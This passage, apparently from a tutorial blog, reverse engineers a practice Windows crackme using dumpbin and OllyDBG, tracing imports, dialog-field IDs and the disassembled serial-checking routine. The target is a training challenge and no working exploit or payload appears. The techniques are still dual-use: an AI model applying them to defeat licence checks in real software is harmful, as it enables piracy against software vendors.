class="code-line"span class="normal"16/span/span span class="code-line"span class="normal"17/span/span span class="code-line"span class="normal"18/span/span span class="code-line"span class="normal"19/span/span span class="code-line"span class="normal"20/span/span span class="code-line"span class="normal"21/span/span span class="code-line"span class="normal"22/span/span span class="code-line"span class="normal"23/span/span span class="code-line"span class="normal"24/span/span span class="code-line"span class="normal"25/span/span span class="code-line"span class="normal"26/span/span span class="code-line"span class="normal"27/span/span span class="code-line"span class="normal"28/span/span span class="code-line"span class="normal"29/span/span span class="code-line"span class="normal"30/span/span span class="code-line"span class="normal"31/span/span span class="code-line"span class="normal"32/span/span span class="code-line"span class="normal"33/span/span span class="code-line"span class="normal"34/span/span span class="code-line"span class="normal"35/span/span span class="code-line"span class="normal"36/span/span span class="code-line"span class="normal"37/span/span span class="code-line"span class="normal"38/span/span span class="code-line"span class="normal"39/span/span span class="code-line"span class="normal"40/span/span span class="code-line"span class="normal"41/span/span span class="code-line"span class="normal"42/span/span span class="code-line"span class="normal"43/span/span span class="code-line"span class="normal"44/span/span span class="code-line"span class="normal"45/span/span span class="code-line"span class="normal"46/span/span span class="code-line"span class="normal"47/span/span span class="code-line"span class="normal"48/span/span span class="code-line"span class="normal"49/span/span span class="code-line"span class="normal"50/span/span span class="code-line"span class="normal"51/span/span span class="code-line"span class="normal"52/span/span span class="code-line"span class="normal"53/span/span span class="code-line"span class="normal"54/span/span span class="code-line"span class="normal"55/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"Microsoft (R) COFF/PE Dumper Version 12.00.21005.1/span/span span class="code-line"span class="go"Copyright (C) Microsoft Corporation. All rights reserved./span/span span class="code-line"/span span class="code-line"/span span class="code-line"span class="go"Dump of file C:\Users\user\Desktop\SomeCrypto~01\SomeCrypto~01.exe/span/span span class="code-line"/span span class="code-line"span class="go"File Type: EXECUTABLE IMAGE/span/span span class="code-line"/span span class="code-line"span class="go" Section contains the following imports:/span/span span class="code-line"/span span class="code-line"span class="go" KERNEL32.dll/span/span span class="code-line"span class="go" 402018 Import Address Table/span/span span class="code-line"span class="go" 4024F4 Import Name Table/span/span span class="code-line"span class="go" 0 time date stamp/span/span span class="code-line"span class="go" 0 Index of first forwarder reference/span/span span class="code-line"/span span class="code-line"span class="go" 215 GetModuleHandleA/span/span span class="code-line"/span span class="code-line"span class="go" USER32.dll/span/span span class="code-line"span class="go" 402020 Import Address Table/span/span span class="code-line"span class="go" 4024FC Import Name Table/span/span span class="code-line"span class="go" 0 time date stamp/span/span span class="code-line"span class="go" 0 Index of first forwarder reference/span/span span class="code-line"/span span class="code-line"span class="go" 20E MessageBoxA/span/span span class="code-line"span class="go" 121 GetDC/span/span span class="code-line"span class="go" 265 ReleaseDC/span/span span class="code-line"span class="go" 114 GetClientRect/span/span span class="code-line"span class="go" 2BB SetTimer/span/span span class="code-line"span class="go" DC EndPaint/span/span span class="code-line"span class="go" DA EndDialog/span/span span class="code-line"span class="go" 1EE LoadImageA/span/span span class="code-line"span class="go" 129 GetDlgItemTextA/span/span span class="code-line"span class="go" AB DialogBoxParamA/span/span span class="code-line"span class="go" 28F SetDlgItemTextA/span/span span class="code-line"span class="go" E BeginPaint/span/span span class="code-line"/span span class="code-line"span class="go" GDI32.dll/span/span span class="code-line"span class="go" 402000 Import Address Table/span/span span class="code-line"span class="go" 4024DC Import Name Table/span/span span class="code-line"span class="go" 0 time date stamp/span/span span class="code-line"span class="go" 0 Index of first forwarder reference/span/span span class="code-line"/span span class="code-line"span class="go" 1FB GetObjectA/span/span span class="code-line"span class="go" 13 BitBlt/span/span span class="code-line"span class="go" E6 DeleteObject/span/span span class="code-line"span class="go" 277 SelectObject/span/span span class="code-line"span class="go" 30 CreateCompatibleDC/span/span span class="code-line"/span span class="code-line"span class="go" Summary/span/span span class="code-line"/span span class="code-line"span class="go" 1000 .data/span/span span class="code-line"span class="go" 1000 .rdata/span/span span class="code-line"span class="go" 69000 .rsrc/span/span span class="code-line"span class="go" 1000 .text/span/span span class="code-line"/code/pre/div /td/tr/table pThis shows us the functions that are being imported and which dll file each function is in./p pThe first thing that stands out to me is the call to codeMessageBoxA/code on line 25./p pThese challenges normally create a message box saying "Success" or something when you have done it so a call to this might be where in the application we want to get to./p pAnd once we are there we should be able to trace back through the code to see where the check was done./p pThe second thing I notice is the call to codeGetDlgItemTextA/code on line 33./p pThis function looks like it could be responsible for getting our input, if this is true we could follow the code from that point and find the code that checks our input and the success code./p h2Digging A Little Deeper/h2 pWe can ignore the rest for now and go straight to opening the application in OllyDBG. Open Olly with administrator privileges:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-admin.png" width="800"/p pClick emFile-gt;Open/em and choose the codeSomeCrypto~01.exe/code file:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/open-crackme-olly.png" width="800"/p pYou should then see this:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-open.png" width="800"/p pThe big section in the top left is the main disassembly window, this shows the disassembly of the application from the a href="https://en.wikipedia.org/wiki/Entry_point" target="_blank"entry point/a of the application (code004012DE/code), this is where execution of the application starts and these are the CPU instructions that are going to run./p pWe can check this using codedumpbin/code with the following command: codedumpbin /headers "C:\Users\user\Desktop\SomeCrypto~01\SomeCrypto~01.exe" | find /i "entry point"/code/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go" 12DE entry point (004012DE)/span/span span class="code-line"/code/pre/div /td/tr/table pThe columns are from left to right, the memory address of the instruction, the hex representation of the instruction, the ia-32 assembly representation and finally notes that Olly puts there for us./p pThe top right section contains the values of the a href="https://en.wikipedia.org/wiki/Processor_register" target="_blank"CPU registers/a, these are used primarily as storage for the CPU while it is running instructions. There are a couple of special ones which I'll explain if I need to./p pThe format is: code[CPU register name] [value] [Olly notes]/code/p pThe bottom right section is the a href="https://en.wikipedia.org/wiki/Stack_%28abstract_data_type%29" target="_blank"stack/a window and shows the current status of the stack, the stack is used to store function arguments and local variables as well as a few other things./p pThe columns are from left to right, memory address, 4 byte hex value at that memory address, Olly notes/p pThe bottom left section is the dump window and can be used to dump certain bits of memory to see what is there./p pThe dump window has titles for its columns./p pLet's see if there are any interesting strings in here, right click anywhere and click on emSearch for-gt;All referenced text strings/em:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-look-for-strings.png" width="800"/p pYou should see the strings window with 4 entries:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-strings-window.png" width="800"/p pThe third entry down looks promising (strongSuccess/strong)./p pLet's have a look where in the application this is, right click on it and click emFollow in Disassembler/em:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-follow-string.png" width="800"/p pYou should see something like this:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-serial-check-call.png" width="800"/p pAs you can see the function call is to codeMessageBoxA/code, this is where we want to end up./p pJust above the function call are the instructions that decide whether or not the bit of code that calls codeMessageBoxA/code is run (strongI've highlighted the relevant rows/strong)./p h2Understanding The Authentication Logic/h2 pThis is basically just calling some internal function at code00401000/code then using the return value to decide whether or not to jump to code004012CA/code. If the return value is code0/code the jump happens./p pThis is the code at code004012CA/code:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span span class="code-line"span class="normal"2/span/span span class="code-line"span class="normal"3/span/span span class="code-line"span class="normal"4/span/span span class="code-line"span class="normal"5/span/span span class="code-line"span class="normal"6/span/span span class="code-line"span class="normal"7/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"004012CA |gt; 5F POP EDI/span/span span class="code-line"span class="x"004012CB |. 5E POP ESI/span/span span class="code-line"span class="x"004012CC |. 33C0 XOR EAX,EAX/span/span span class="code-line"span class="x"004012CE |. 5B POP EBX/span/span span class="code-line"span class="x"004012CF |. 8BE5 MOV ESP,EBP/span/span span class="code-line"span class="x"004012D1 |. 5D POP EBP/span/span span class="code-line"span class="x"004012D2 \. C2 1000 RETN 10/span/span span class="code-line"/code/pre/div /td/tr/table pIt just exits so we don't want to end up here, this is the fail case./p pLet's look inside this function to see what it does, right click on the function call (at code0040129D/code) and click emFollow/em:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-check-function-menu.png" width="800"/p pYou should see this:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-crypt-function.png" width="800"/p pThis is the function that decides if our name and/or serial are correct. Here is the full disassembly:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span span class="code-line"span class="normal" 2/span/span span class="code-line"span class="normal" 3/span/span span class="code-line"span class="normal" 4/span/span span class="code-line"span class="normal" 5/span/span span class="code-line"span class="normal" 6/span/span span class="code-line"span class="normal" 7/span/span span class="code-line"span class="normal" 8/span/span span class="code-line"span class="normal" 9/span/span span class="code-line"span class="normal"10/span/span span class="code-line"span class="normal"11/span/span span class="code-line"span class="normal"12/span/span span class="code-line"span class="normal"13/span/span span class="code-line"span class="normal"14/span/span span class="code-line"span class="normal"15/span/span span class="code-line"span class="normal"16/span/span span class="code-line"span class="normal"17/span/span span class="code-line"span class="normal"18/span/span span class="code-line"span class="normal"19/span/span span class="code-line"span class="normal"20/span/span span class="code-line"span class="normal"21/span/span span class="code-line"span class="normal"22/span/span span class="code-line"span class="normal"23/span/span span class="code-line"span class="normal"24/span/span span class="code-line"span class="normal"25/span/span span class="code-line"span class="normal"26/span/span span class="code-line"span class="normal"27/span/span span class="code-line"span class="normal"28/span/span span class="code-line"span class="normal"29/span/span span class="code-line"span class="normal"30/span/span span class="code-line"span class="normal"31/span/span span class="code-line"span class="normal"32/span/span span class="code-line"span class="normal"33/span/span span class="code-line"span class="normal"34/span/span span class="code-line"span class="normal"35/span/span span class="code-line"span class="normal"36/span/span span class="code-line"span class="normal"37/span/span span class="code-line"span class="normal"38/span/span span class="code-line"span class="normal"39/span/span span class="code-line"span class="normal"40/span/span span class="code-line"span class="normal"41/span/span span class="code-line"span class="normal"42/span/span span class="code-line"span class="normal"43/span/span span class="code-line"span class="normal"44/span/span span class="code-line"span class="normal"45/span/span span class="code-line"span class="normal"46/span/span span class="code-line"span class="normal"47/span/span span class="code-line"span class="normal"48/span/span span class="code-line"span class="normal"49/span/span span class="code-line"span class="normal"50/span/span span class="code-line"span class="normal"51/span/span span class="code-line"span class="normal"52/span/span span class="code-line"span class="normal"53/span/span span class="code-line"span class="normal"54/span/span span class="code-line"span class="normal"55/span/span span class="code-line"span class="normal"56/span/span span class="code-line"span class="normal"57/span/span span class="code-line"span class="normal"58/span/span span class="code-line"span class="normal"59/span/span span class="code-line"span class="normal"60/span/span span class="code-line"span class="normal"61/span/span span class="code-line"span class="normal"62/span/span span class="code-line"span class="normal"63/span/span span class="code-line"span class="normal"64/span/span span class="code-line"span class="normal"65/span/span span class="code-line"span class="normal"66/span/span span class="code-line"span class="normal"67/span/span span class="code-line"span class="normal"68/span/span span class="code-line"span class="normal"69/span/span span class="code-line"span class="normal"70/span/span span class="code-line"span class="normal"71/span/span span class="code-line"span class="normal"72/span/span span class="code-line"span class="normal"73/span/span span class="code-line"span class="normal"74/span/span span class="code-line"span class="normal"75/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401000 $ 55 PUSH EBP/span/span span class="code-line"span class="x"00401001 . 8BEC MOV EBP,ESP/span/span span class="code-line"span class="x"00401003 . 8A01 MOV AL,BYTE PTR DS:[ECX]/span/span span class="code-line"span class="x"00401005 . 83EC 20 SUB ESP,20/span/span span class="code-line"span class="x"00401008 . 56 PUSH ESI/span/span span class="code-line"span class="x"00401009 . 33F6 XOR ESI,ESI/span/span span class="code-line"span class="x"0040100B . 84C0 TEST AL,AL/span/span span class="code-line"span class="x"0040100D . 0F84 B3000000 JE SomeCryp.004010C6/span/span span class="code-line"span class="x"00401013 . 8D55 E0 LEA EDX,DWORD PTR SS:[EBP-20]/span/span span class="code-line"span class="x"00401016 . 2BD1 SUB EDX,ECX/span/span span class="code-line"span class="x"00401018 gt; 3C 61 CMP AL,61/span/span span class="code-line"span class="x"0040101A . 0F8C A6000000 JL SomeCryp.004010C6/span/span span class="code-line"span class="x"00401020 . 3C 7A CMP AL,7A/span/span span class="code-line"span class="x"00401022 . 0F8F 9E000000 JG SomeCryp.004010C6/span/span span class="code-line"span class="x"00401028 . 88040A MOV BYTE PTR DS:[EDX+ECX],AL/span/span span class="code-line"span class="x"0040102B . 8A41 01 MOV AL,BYTE PTR DS:[ECX+1]/span/span span class="code-line"span class="x"0040102E . 41 INC ECX/span/span span class="code-line"span class="x"0040102F . 46 INC ESI/span/span span class="code-line"span class="x"00401030 . 84C0 TEST AL,AL/span/span span class="code-line"span class="x"00401032 .^75 E4 JNZ SHORT SomeCryp.00401018/span/span span class="code-line"span class="x"00401034 . 83FE 1A CMP ESI,1A/span/span span class="code-line"span class="x"00401037 . 0F85 89000000 JNZ SomeCryp.004010C6/span/span span class="code-line"span class="x"0040103D . 33C0 XOR EAX,EAX/span/span span class="code-line"span class="x"0040103F . 90 NOP/span/span span class="code-line"span class="x"00401040 gt; 8A88 10304000 MOV CL,BYTE PTR DS:[EAX+403010]/span/span span class="code-line"span class="x"00401046 . 8888 40314000 MOV BYTE PTR DS:[EAX+403140],CL/span/span span class="code-line"span class="x"0040104C . 40 INC EAX/span/span span class="code-line"span class="x"0040104D . 84C9 TEST CL,CL/span/span span class="code-line"span class="x"0040104F .^75 EF JNZ SHORT SomeCryp.00401040/span/span span class="code-line"span class="x"00401051 . 33C9 XOR ECX,ECX/span/span span class="code-line"span class="x"00401053 . 380D 40314000 CMP BYTE PTR DS:[403140],CL/span/span span class="code-line"span class="x"00401059 . 74 2D JE SHORT SomeCryp.00401088/span/span span class="code-line"span class="x"0040105B . EB 03 JMP SHORT SomeCryp.00401060/span/span span class="code-line"span class="x"0040105D 8D49 00 LEA ECX,DWORD PTR DS:[ECX]/span/span span class="code-line"span class="x"00401060 gt; 8A81 40314000 MOV AL,BYTE PTR DS:[ECX+403140]/span/span span class="code-line"span class="x"00401066 . 3C 61 CMP AL,61/span/span span class="code-line"span class="x"00401068 . 7C 14 JL SHORT SomeCryp.0040107E/span/span span class="code-line"span class="x"0040106A . 3C 7A CMP AL,7A/span/span span class="code-line"span class="x"0040106C . 7F 10 JG SHORT SomeCryp.0040107E/span/span span class="code-line"span class="x"0040106E . 0E PUSH CS/span/span span class="code-line"span class="x"0040106F . BE C08A9405 MOV ESI,5948AC0/span/span span class="code-line"span class="x"00401074 . 7F FF JG SHORT SomeCryp.00401075/span/span span class="code-line"span class="x"00401076 FF DB FF/span/span span class="code-line"span class="x"00401077 FF DB FF/span/span span class="code-line"span class="x"00401078 . 8891 40314000 MOV BYTE PTR DS:[ECX+403140],DL/span/span span class="code-line"span class="x"0040107E gt; 41 INC ECX/span/span span class="code-line"span class="x"0040107F . 80B9 40314000 gt;CMP BYTE PTR DS:[ECX+403140],0/span/span span class="code-line"span class="x"00401086 .^75 D8 JNZ SHORT SomeCryp.00401060/span/span span class="code-line"span class="x"00401088 gt; 83C8 FF OR EAX,FFFFFFFF/span/span span class="code-line"span class="x"0040108B . BA 40314000 MOV EDX,SomeCryp.00403140/span/span span class="code-line"span class="x"00401090 . 85C9 TEST ECX,ECX/span/span span class="code-line"span class="x"00401092 . 74 19 JE SHORT SomeCryp.004010AD/span/span span class="code-line"span class="x"00401094 gt; 0FB632 MOVZX ESI,BYTE PTR DS:[EDX]/span/span span class="code-line"span class="x"00401097 . 33F0 XOR ESI,EAX/span/span span class="code-line"span class="x"00401099 . 81E6 FF000000 AND ESI,0FF/span/span span class="code-line"span class="x"0040109F . C1E8 08 SHR EAX,8/span/span span class="code-line"span class="x"004010A2 . 3304B5 5820400gt;XOR EAX,DWORD PTR DS:[ESI*4+402058]/span/span span class="code-line"span class="x"004010A9 . 42 INC EDX/span/span span class="code-line"span class="x"004010AA . 49 DEC ECX/span/span span class="code-line"span class="x"004010AB .^75 E7 JNZ SHORT SomeCryp.00401094/span/span span class="code-line"span class="x"004010AD gt; F7D0 NOT EAX/span/span span class="code-line"span class="x"004010AF . 3D 18B291F8 CMP EAX,F891B218/span/span span class="code-line"span class="x"004010B4 . 75 10 JNZ SHORT SomeCryp.004010C6/span/span span class="code-line"span class="x"004010B6 . 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]/span/span span class="code-line"span class="x"004010B9 . C700 40314000 MOV DWORD PTR DS:[EAX],SomeCryp.00403140/span/span span class="code-line"span class="x"004010BF . B0 01 MOV AL,1/span/span span class="code-line"span class="x"004010C1 . 5E POP ESI/span/span span class="code-line"span class="x"004010C2 . 8BE5 MOV ESP,EBP/span/span span class="code-line"span class="x"004010C4 . 5D POP EBP/span/span span class="code-line"span class="x"004010C5 . C3 RETN/span/span span class="code-line"span class="x"004010C6 gt; 32C0 XOR AL,AL/span/span span class="code-line"span class="x"004010C8 . 5E POP ESI/span/span span class="code-line"span class="x"004010C9 . 8BE5 MOV ESP,EBP/span/span span class="code-line"span class="x"004010CB . 5D POP EBP/span/span span class="code-line"span class="x"004010CC . C3 RETN/span/span span class="code-line"/code/pre/div /td/tr/table pHere I will go over this code in detail and try to understand what it is doing./p pFirst it starts with the function prologue:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401000 $ 55 PUSH EBP/span/span span class="code-line"span class="x"00401001 . 8BEC MOV EBP,ESP/span/span span class="code-line"/code/pre/div /td/tr/table pThis is common among all stdcall and cdecl functions, it just sets up the stack frame (for more information about stack frames check out the "Stack Frames" section of my post on a href="/x86-32-linux/reverse-engineering/2014/07/01/basic-binary-auditing/"basic binary auditing/a)./p pThe next instruction is interesting:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401003 . 8A01 MOV AL,BYTE PTR DS:[ECX]/span/span span class="code-line"/code/pre/div /td/tr/table pThis is using the ECX register before anything has been done to it in this function. This means that whatever is stored in ECX was stored there in the calling function and it was passed as an argument to this current function./p pThe reason it was passed in a register instead of on the stack (how arguments are normally passed) is because the compiler knew it was in control of all points of entry into this function./p pThe most likely way that the compiler would have known this is if the function was explicitly defined with the strongstatic/strong keyword. This means that only functions inside the same source file can call this function./p pTo figure out what is stored in ECX at this point in the application without running it, we will need to look back through the code that called this function, here is that code:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span span class="code-line"span class="normal" 2/span/span span class="code-line"span class="normal" 3/span/span span class="code-line"span class="normal" 4/span/span span class="code-line"span class="normal" 5/span/span span class="code-line"span class="normal" 6/span/span span class="code-line"span class="normal" 7/span/span span class="code-line"span class="normal" 8/span/span span class="code-line"span class="normal" 9/span/span span class="code-line"span class="normal"10/span/span span class="code-line"span class="normal"11/span/span span class="code-line"span class="normal"12/span/span span class="code-line"span class="normal"13/span/span span class="code-line"span class="normal"14/span/span span class="code-line"span class="normal"15/span/span span class="code-line"span class="normal"16/span/span span class="code-line"span class="normal"17/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401267 |. 8B3D 40204000 MOV EDI,DWORD PTR DS:[lt;amp;USER32.GetDlgItemTextAgt;] ; USER32.GetDlgItemTextA/span/span span class="code-line"span class="x"0040126D |. 6A 40 PUSH 40 ; /Count = 40 (64.)/span/span span class="code-line"span class="x"0040126F |. 8D8C24 C4000000 LEA ECX,DWORD PTR SS:[ESP+C4] ; |/span/span span class="code-line"span class="x"00401276 |. 51 PUSH ECX ; |Buffer/span/span span class="code-line"span class="x"00401277 |. 68 E9030000 PUSH 3E9 ; |ControlID = 3E9 (1001.)/span/span span class="code-line"span class="x"0040127C |. 56 PUSH ESI ; |hWnd/span/span span class="code-line"span class="x"0040127D |. FFD7 CALL EDI ; \GetDlgItemTextA/span/span span class="code-line"span class="x"0040127F |. 6A 40 PUSH 40 ; /Count = 40 (64.)/span/span span class="code-line"span class="x"00401281 |. 8D9424 84000000 LEA EDX,DWORD PTR SS:[ESP+84] ; |/span/span span class="code-line"span class="x"00401288 |. 52 PUSH EDX ; |Buffer/span/span span class="code-line"span class="x"00401289 |. 68 EA030000 PUSH 3EA ; |ControlID = 3EA (1002.)/span/span span class="code-line"span class="x"0040128E |. 56 PUSH ESI ; |hWnd/span/span span class="code-line"span class="x"0040128F |. FFD7 CALL EDI ; \GetDlgItemTextA/span/span span class="code-line"span class="x"00401291 |. 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C]/span/span span class="code-line"span class="x"00401295 |. 50 PUSH EAX/span/span span class="code-line"span class="x"00401296 |. 8D8C24 84000000 LEA ECX,DWORD PTR SS:[ESP+84]/span/span span class="code-line"span class="x"0040129D |. E8 5EFDFFFF CALL SomeCryp.00401000/span/span span class="code-line"/code/pre/div /td/tr/table pAs you can see there are 2 calls to codeGetDlgItemTextA/code and we have 2 fields (Name and Serial). But at this time we don't know which field is which however we do have their ID's./p pThe prototype for codeGetDlgItemTextA/code is:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span span class="code-line"span class="normal"2/span/span span class="code-line"span class="normal"3/span/span span class="code-line"span class="normal"4/span/span span class="code-line"span class="normal"5/span/span span class="code-line"span class="normal"6/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="n"UINT/spanspan class="w" /spanspan class="n"WINAPI/spanspan class="w" /spanspan class="n"GetDlgItemText/spanspan class="p"(/spanspan class="w"/span/span span class="code-line"span class="w" /spanspan class="n"_In_/spanspan class="w" /spanspan class="n"HWND/spanspan class="w" /spanspan class="n"hDlg/spanspan class="p",/spanspan class="w"/span/span span class="code-line"span class="w" /spanspan class="n"_In_/spanspan class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"nIDDlgItem/spanspan class="p",/spanspan class="w"/span/span span class="code-line"span class="w" /spanspan class="n"_Out_/spanspan class="w" /spanspan class="n"LPTSTR/spanspan class="w" /spanspan class="n"lpString/spanspan class="p",/spanspan class="w"/span/span span class="code-line"span class="w" /spanspan class="n"_In_/spanspan class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"nMaxCount/spanspan class="w"/span/span span class="code-line"span class="p");/spanspan class="w"/span/span span class="code-line"/code/pre/div /td/tr/table pAnd from the a href="http://msdn.microsoft.com/en-gb/library/windows/desktop/ms645489%28v=vs.85%29.aspx" target="_blank"manual page/a for it:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span span class="code-line"span class="normal" 2/span/span span class="code-line"span class="normal" 3/span/span span class="code-line"span class="normal" 4/span/span span class="code-line"span class="normal" 5/span/span span class="code-line"span class="normal" 6/span/span span class="code-line"span class="normal" 7/span/span span class="code-line"span class="normal" 8/span/span span class="code-line"span class="normal" 9/span/span span class="code-line"span class="normal"10/span/span span class="code-line"span class="normal"11/span/span span class="code-line"span class="normal"12/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"hDlg [in]/span/span span class="code-line"span class="go" Type: HWND/span/span span class="code-line"span class="go" A handle to the dialog box that contains the control./span/span span class="code-line"span class="go"nIDDlgItem [in]/span/span span class="code-line"span class="go" Type: int/span/span span class="code-line"span class="go" The identifier of the control whose title or text is to be retrieved./span/span span class="code-line"span class="go"lpString [out]/span/span span class="code-line"span class="go" Type: LPTSTR/span/span span class="code-line"span class="go" The buffer to receive the title or text./span/span span class="code-line"span class="go"nMaxCount [in]/span/span span class="code-line"span class="go" Type: int/span/span span class="code-line"span class="go" The maximum length, in characters, of the string to be copied to the buffer pointed to by lpString. If the length of the string, including the null character, exceeds the limit, the string is truncated./span/span span class="code-line"/code/pre/div /td/tr/table pSo the second argument is the ID of the field and the third is the buffer that the text is going to be stored in./p pThis means that we are looking for the control with ID 3EA. Line 16 (on the disassembly of the 2 calls to codeGetDlgItemTextA/code above) shows that ECX is being loaded with the address of ESP+84, just before ESP+84 is loaded as the buffer argument to codeGetDlgItemTextA/code with an ID of 3EA./p pIf you remember back to when we used codedumpbin/code to list all of the imported functions, there was also a function called codeSetDlgItemTextA/code being imported./p pThis function is likely used to set the values to "Enter you name..." and "Enter your serial...". We can use this to figure out which of these ID's (code3E9/code or code3EA/code) is the serial field and which is the name field; and ultimately which is being passed to our checking function in ECX./p pWe could use the strings window again and find out where "Enter you name..." and "Enter your serial..." are referenced but I'll show you a different way to find them using the function name (codeSetDlgItemTextA/code)./p pFirst close OllyDBG, open it again and open the crackme again so that you get to this point again:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-open.png" width="800"/p pRight click anywhere and click emSearch for-gt;All intermodular calls/em:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-calls-menu.png" width="800"/p pAfter that, this window should pop up:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-calls-window.png"/p pYou can see the second and third entries are calls to codeSetDlgItemTextA/code, looking at the addresses on the left these calls are right next to each other./p pRight click on 1 of them and click emFollow in Disassembler/em or press emEnter/em:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-calls-follow.png" width="800"/p pYou should see this:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-setdlgitemtexta-calls.png" width="800"/p pHere is the disassembly of these calls:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span span class="code-line"span class="normal"2/span/span span class="code-line"span class="normal"3/span/span span class="code-line"span class="normal"4/span/span span class="code-line"span class="normal"5/span/span span class="code-line"span class="normal"6/span/span span class="code-line"span class="normal"7/span/span span class="code-line"span class="normal"8/span/span span class="code-line"span class="normal"9/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401116 |. 8B3D 48204000 MOV EDI,DWORD PTR DS:[lt;amp;USER32.SetDlgItegt;; USER32.SetDlgItemTextA/span/span span class="code-line"span class="x"0040111C |. 68 60244000 PUSH SomeCryp.00402460 ; /Text = quot;Enter your name...quot;/span/span span class="code-line"span class="x"00401121 |. 68 E9030000 PUSH 3E9 ; |ControlID = 3E9 (1001.)/span/span span class="code-line"span class="x"00401126 |. 56 PUSH ESI ; |hWnd/span/span span class="code-line"span class="x"00401127 |. FFD7 CALL EDI ; \SetDlgItemTextA/span/span span class="code-line"span class="x"00401129 |. 68 74244000 PUSH SomeCryp.00402474 ; /Text = quot;Enter your serial...quot;/span/span span class="code-line"span class="x"0040112E |. 68 EA030000 PUSH 3EA ; |ControlID = 3EA (1002.)/span/span span class="code-line"span class="x"00401133 |. 56 PUSH ESI ; |hWnd/span/span span class="code-line"span class="x"00401134 |. FFD7 CALL EDI ; \SetDlgItemTextA/span/span span class="code-line"/code/pre/div /td/tr/table pThe a href="http://msdn.microsoft.com/en-gb/library/windows/desktop/ms645521%28v=vs.85%29.aspx" target="_blank"prototype/a for this function is:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span span class="code-line"span class="normal"2/span/span span class="code-line"span class="normal"3/span/span span class="code-line"span class="normal"4/span/span span class="code-line"span class="normal"5/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="n"BOOL/spanspan class="w" /spanspan class="n"WINAPI/spanspan class="w" /spanspan class="n"SetDlgItemText/spanspan class="p"(/spanspan class="w"/span/span span class="code-line"span class="w" /spanspan class="n"_In_/spanspan class="w" /spanspan class="n"HWND/spanspan class="w" /spanspan class="n"hDlg/spanspan class="p",/spanspan class="w"/span/span span class="code-line"span class="w" /spanspan class="n"_In_/spanspan class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"nIDDlgItem/spanspan class="p",/spanspan class="w"/span/span span class="code-line"span class="w" /spanspan class="n"_In_/spanspan class="w" /spanspan class="n"LPCTSTR/spanspan class="w" /spanspan class="n"lpString/spanspan class="w"/span/span span class="code-line"span class="p");/spanspan class="w"/span/span span class="code-line"/code/pre/div /td/tr/table pLooking at this its obvious that the control with ID 3EA is the serial number field because it is being set to "Enter your serial..."./p pWe can verify this by setting a a href="https://en.wikipedia.org/wiki/Breakpoint" target="_blank"breakpoint/a at the top of the serial checking function, running the application and checking the value of the ECX register./p pFirst go to the check function again:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-crypt-function.png" width="800"/p pThen right click on the top instruction (at address code00401000/code) and click emBreakpoint-gt;Toggle/em or press emF2/em:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-set-breakpoint-crypt-function.png" width="800"/p pYou should then see the background of the address section (on the far left) turn red:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-set-breakpoint-crypt-function2.png" width="800"/p pThen run the application by clicking emDebug-gt;Run/em or pressing emF9/em:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-run-crackme.png" width="800"/p pYou should see this after the breakpoint is hit (it shouldn't take long for the breakpoint to hit):/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-breakpoint-hit.png" width="800"/p pAs you can see in the registers window (in the top right), the value of ECX is the address that contains the string "Enter your serial..." so our static analysis of the code was correct./p pNow we can get back to analysing the code in this serial checking function./p pThe following is the start of the function excluding the prologue:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span span class="code-line"span class="normal"2/span/span span class="code-line"span class="normal"3/span/span span 